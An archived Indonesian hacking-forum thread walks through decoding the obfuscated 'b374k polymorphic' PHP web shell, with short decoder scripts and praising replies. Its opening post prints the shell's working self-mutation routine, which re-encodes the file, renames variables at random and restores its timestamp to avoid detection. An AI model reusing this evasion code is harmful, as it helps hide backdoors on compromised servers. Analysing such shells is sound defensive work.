Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-25-2013, 06:42 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › PHP v
« Previous 1 ... 19 20 21 22 23 ... 31 Next »

[Tutor] Jalan terang decode b374k polymorphic

Home General Computer Multimedia Business Lounge

Pages (3): 1 2 3 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
Tutor Jalan terang decode b374k polymorphic
05-14-2011, 05:31 PM (This post was last modified: 05-15-2011 08:05 AM by mariachi.)
Post: #1
mariachi Away
has been reboot
**
Moderators
Posts: 2,371
Joined: Nov 2010
Reputation: 55
Thumbs Up Jalan terang decode b374k polymorphic
Selama ini banyak yang menanyakan bagaimana cara decode shell b374k polymorphic, soalnya shell buatan om ketek tersebut emang susah banget untuk di decode. Banyak yang mencoba melakukan decoding b374k dan hasilnya hanya berupa angka2 ga jelas. Saya juga sempat mengalami hal yang sama ketika pertama kali melakukan decode shell tersebut. Tapi saya tidak putus asa, dan terus mencoba berbagai cara untuk melakukan decoding terhadap shell tersebut. Hasilnya pun tidak sia-sia, akhirnya shellnya pun berhasil terbuka. Berikut langkah-langkah yang saya lakukan untuk mendecode shell b374k :
1. Kita buka shell b374k polymorphic yang sudah di download
2. Lihat pada baris kode berikut :
eval(gzinflate(base64_decode(shell_code_nya);
dari kode diatas kita dapat melakukan decode dengan menyimpan hasil decode ke dalam sebuah variabel dan menghilangkan code eval() agar shell tidak tereksekusi.
Contoh (bongkar.php):
PHP Code:
$shell_code=”copy_shell_disini”;
$bantai=gzinflate(base64_decode($shell_code));
$file=fopen("bongkar.txt","a");
fputs($file,$bantai);
fclose($file);
echo (
"berhasil !!!!"); 
3. Jalankan script bongkar.php kemudian Buka file bongkar.txt yang ada di folder tempat anda menyimpan script bongkar.php, anda akan melihat hasil decode dari shell b374k. akan tetapi anda pasti akan merasa heran, kenapa hasil decodenya belum terlihat seperti script php pada umumnya?. Tenang saja, shell ini memang di encode sebanyak 2 kali, tujuannya tentu saja untuk polymorphic tadi. Nanti akan saya jelaskan fungsi untuk polymorphicnya.
4. Pada file bongkar.txt anda akan melihat 2 variabel yaitu $x070cd7ad dan $xa7c119b3. Lakukan decoding terhadap variabel kedua. maka anda akan melihat script untuk merandom file shell agar tidak mudah terdeteksi (fungsi polymorphic). sedangkan variabel pertama adalah script shell sesungguhnya.
PHP Code:
function love($me,$you){
    
$progress = NULL;
    for(
$kiss = 0; $kiss < strlen($me); $kiss += strlen($you)){
        for(
$hug = 0; $hug < strlen($you); $hug++){
            
$past = (int) ord(substr($me, $kiss+$hug, 1));
            
$present = (int) ord(substr($you, $hug, 1));
            
$sweet = $past + $present;
            
$progress .= $sweet . ".";
        }
    }
    return 
base64_encode(gzdeflate(rtrim($progress, "."), 9));
}
function 
hate($me,$you){
    
$progress = NULL;
    
$problems = explode(".", gzinflate(base64_decode($me)));
    for(
$mistake = 0; $mistake < count($problems); $mistake += strlen($you)){
        for(
$hug = 0; $hug < strlen($you); $hug++){
            
$past = (int) $problems[$mistake+$hug];
            
$present = (int) ord(substr($you, $hug, 1));
            
            
$sweet = $past - $present;
            
$progress .= chr($sweet);
        }
    }
    return 
$progress;
}
function 
make_love(){
    
$man = "man.".time().rand(0,50);
    
$woman = "woman".time().rand(51,100);
    return 
"x" . substr(md5($man.$woman),0,8);
}
function 
rebirth(){
    
$parent = basename($_SERVER['PHP_SELF']);
    
$egg = file_get_contents($parent);
    
$eggdate = filemtime($parent);

    
$checkup = preg_match_all("/\"([^\"]*)\"/", $egg, $eggs);
    
$egg = gzinflate(base64_decode($eggs[1][0]));


    
$get_embrio = preg_match_all("/\"([^\"]*)\"/", $egg, $eggs);
    
$adam = $eggs[1][0];
    
$one = make_love();
    
$embrio = $eggs[1][1];
    
$two = make_love();
    
$eve = $eggs[1][2];
    
$three = make_love();

    
$thepass = $eggs[1][3];
    
    
$before = hate($adam, $eve);
    
$after = love($before, $three);


    
$child = "\$" . $one . " = \"" . $after . "\";" .
         
"\$" . $two . " = \"" . $embrio . "\";" .
         
"\$" . $three . " = \"" . $three . "\";" .
         
"\$s_pass = \"" . $thepass ."\";" .
         
"eval(gzinflate(base64_decode(\$" . $two . ")));" .
         
"rebirth();" .
         
"eval(gzinflate(base64_decode(hate(\$". $one . ",\$" . $three . "))));";

    
$child = base64_encode(gzdeflate($child,9));
    
$child = "<?php eval(gzinflate(base64_decode(\"" . $child . "\"))); ?>"; if(!$any = getenv("TMP")) if(!$any = getenv("TEMP")) if(!$any = getenv("TMPDIR")){ if(is_writable("/tmp")) $any = "/tmp/"; else $any = "."; } if(file_put_contents($any . $three, $child)){ rename($any . $three , $parent); touch($parent, $eggdate); if(is_file($any . $three)) unlink($any . $three); } } 

5. lakukan decode terhadap variabel pertama yang berisi script shell yang sebenarnya seperti ini :
PHP Code:
$x070cd7ad ="isi_shell_nya";
function 
love($me,$you){
    
$progress = NULL;
    for(
$kiss = 0; $kiss < strlen($me); $kiss += strlen($you)){
        for(
$hug = 0; $hug < strlen($you); $hug++){
            
$past = (int) ord(substr($me, $kiss+$hug, 1));
            
$present = (int) ord(substr($you, $hug, 1));
            
$sweet = $past + $present;
            
$progress .= $sweet . ".";
        }
    }
    return 
base64_encode(gzdeflate(rtrim($progress, "."), 9));
}
function 
hate($me,$you){
    
$progress = NULL;
    
$problems = explode(".", gzinflate(base64_decode($me)));
    for(
$mistake = 0; $mistake < count($problems); $mistake += strlen($you)){
        for(
$hug = 0; $hug < strlen($you); $hug++){
            
$past = (int) $problems[$mistake+$hug];
            
$present = (int) ord(substr($you, $hug, 1));
            
            
$sweet = $past - $present;
            
$progress .= chr($sweet);
        }
    }
    return 
$progress;
}
function 
make_love(){
    
$man = "man.".time().rand(0,50);
    
$woman = "woman".time().rand(51,100);
    return 
"x" . substr(md5($man.$woman),0,8);
}
function 
rebirth(){
    
$parent = basename($_SERVER['PHP_SELF']);
    
$egg = file_get_contents($parent);
    
$eggdate = filemtime($parent);

    
$checkup = preg_match_all("/\"([^\"]*)\"/", $egg, $eggs);
    
$egg = gzinflate(base64_decode($eggs[1][0]));


    
$get_embrio = preg_match_all("/\"([^\"]*)\"/", $egg, $eggs);
    
$adam = $eggs[1][0];
    
$one = make_love();
    
$embrio = $eggs[1][1];
    
$two = make_love();
    
$eve = $eggs[1][2];
    
$three = make_love();

    
$thepass = $eggs[1][3];
    
    
$before = hate($adam, $eve);
    
$after = love($before, $three);


    
$child = "\$" . $one . " = \"" . $after . "\";" .
         
"\$" . $two . " = \"" . $embrio . "\";" .
         
"\$" . $three . " = \"" . $three . "\";" .
         
"\$s_pass = \"" . $thepass ."\";" .
         
"eval(gzinflate(base64_decode(\$" . $two . ")));" .
         
"rebirth();" .
         
"eval(gzinflate(base64_decode(hate(\$". $one . ",\$" . $three . "))));";

    
$child = base64_encode(gzdeflate($child,9));
    
$child = "<?php eval(gzinflate(base64_decode(\"" . $child . "\"))); ?>"; if(!$any = getenv("TMP")) if(!$any = getenv("TEMP")) if(!$any = getenv("TMPDIR")){ if(is_writable("/tmp")) $any = "/tmp/"; else $any = "."; } if(file_put_contents($any . $three, $child)){ rename($any . $three , $parent); touch($parent, $eggdate); if(is_file($any . $three)) unlink($any . $three); } } 
$x2d60ef22 = "x2d60ef22";
//tanpa fungsi rebirth();
$bantai2=gzinflate(base64_decode(hate($x070cd7ad,$x2d60ef22)));
$file=fopen("becak.txt","a");
fputs($file,$bantai2);
fclose($file);
echo (
"berhasil !!!!");
?>
6. buka file becak.txt, maka anda akan mendapatkan shell b374k polymorphic yang sudah di decode (edit biar mudah dibaca). setelah di edit anda akan melihat ribuan baris code yang membingungkan (eh... itu mah saya deng hehe), om ketek emang hebat banget bikin shell aja ampe ribuan baris code wawa

saya semata-mata hanya ingin belajar, tidak bermaksud untuk hal-hal negatfil lainnya. silahkan hubungi om ketek untuk mengetahui penjelasan tentang script diatas.

semoga membantu !!!

hore hore hore
Find all posts by this user
Quote this message in a reply
 Reputed by :  _Klonengan(+1)
05-14-2011, 05:54 PM
Post: #2
KataM Offline
./Devilz Commodore
Posts: 1,231
Joined: Feb 2011
Reputation: 41
RE: Jalan terang decode b374k polymorphic
omz pinter ,, ajarin ane privete ya asik
Find all posts by this user
Quote this message in a reply
05-14-2011, 06:05 PM
Post: #3
chaer.newbie Online
--------------------------
*****
Dewa
Posts: 5,288
Joined: Dec 2009
Reputation: 184
RE: Jalan terang decode b374k polymorphic
kwkwkwkwkw ganteng piss
Find all posts by this user
Quote this message in a reply
05-14-2011, 06:39 PM (This post was last modified: 05-14-2011 06:40 PM by Vanzoel.)
Post: #4
Vanzoel Offline
Laskar Devilzc0de
Posts: 218
Joined: Feb 2011
Reputation: 0
RE: Jalan terang decode b374k polymorphic
Keren,,,

mantap mantap
Find all posts by this user
Quote this message in a reply
05-14-2011, 06:40 PM
Post: #5
Eyang Subur Away
cetar memBEHAhaha
****
Posts: 987
Joined: Apr 2010
Reputation: 22
RE: Jalan terang decode b374k polymorphic
mantap

Heker nih... ijin coba om piss
Visit this user's website Find all posts by this user
Quote this message in a reply
05-14-2011, 06:47 PM
Post: #6
c0d3HitLER Offline
./Devilz Commander
Posts: 267
Joined: Feb 2011
Reputation: 0
RE: Jalan terang decode b374k polymorphic
ini baru jelas
ketemu dh titik terangnya ketawa
Makasih om, siap mencoba ketawa
Find all posts by this user
Quote this message in a reply
05-14-2011, 06:50 PM
Post: #7
Eyang Subur Away
cetar memBEHAhaha
****
Posts: 987
Joined: Apr 2010
Reputation: 22
RE: Jalan terang decode b374k polymorphic
kalo shellnya si james bisa ndak ya?

I can try it mantap
Visit this user's website Find all posts by this user
Quote this message in a reply
05-14-2011, 07:22 PM
Post: #8
~c()k3~ Offline
./Devilz Advisor
Posts: 707
Joined: Mar 2010
Reputation: 2
RE: Jalan terang decode b374k polymorphic
wowwwwwww
Visit this user's website Find all posts by this user
Quote this message in a reply
05-14-2011, 08:27 PM
Post: #9
Neo Offline
Paling perjaka se DC
Posts: 137
Joined: Aug 2010
Reputation: 2
RE: Jalan terang decode b374k polymorphic
love u full dahh.. mantap
Find all posts by this user
Quote this message in a reply
05-14-2011, 10:39 PM
Post: #10
selfdefense Offline
./Devilz Commodore
Posts: 1,260
Joined: Aug 2010
Reputation: 46
RE: Jalan terang decode b374k polymorphic
om nya heker nih.... hmm
ikut belajar ah.... makasih banget om... mantap
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (3): 1 2 3 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Solved] CI gamau jalan valdiadrian 7 136 03-25-2013 08:22 PM
Last Post: DC_Julianz
  [Tutor] Decode barc0de web shell mariachi 12 2,557 03-14-2013 01:04 PM
Last Post: abuabu_hat10
Bug [SOURCE] B374K 2.2 BY k4mpr3t k4mpr3t 19 703 03-11-2013 03:53 PM
Last Post: abuabu_hat10
  [Tutor] FakeMD5 Encode Decode (YarpCipher Variant) K4pT3N 6 308 12-18-2012 01:55 PM
Last Post: test
  [Ask] array tidak jalan,dan tidak mau save danisuzaku 4 115 12-03-2012 09:54 AM
Last Post: danisuzaku
  [Solved] help decode lagi T_T gzuncompress dzawa 5 177 11-07-2012 06:57 PM
Last Post: dzawa
  [Solved] Help me bro ..decode base64 with keystroke dzawa 6 278 11-04-2012 11:26 PM
Last Post: dzawa
  [Ask] Perintah Update Gak Jalan chiboga 5 229 09-18-2012 02:52 PM
Last Post: chiboga
  [Ask] GetAll di adodb php g jalan hawree 0 102 07-09-2012 10:10 PM
Last Post: hawree
  iis gk jalan Baplak 4 403 03-18-2012 06:05 PM
Last Post: adoet_t

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-25-2013, 06:42 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE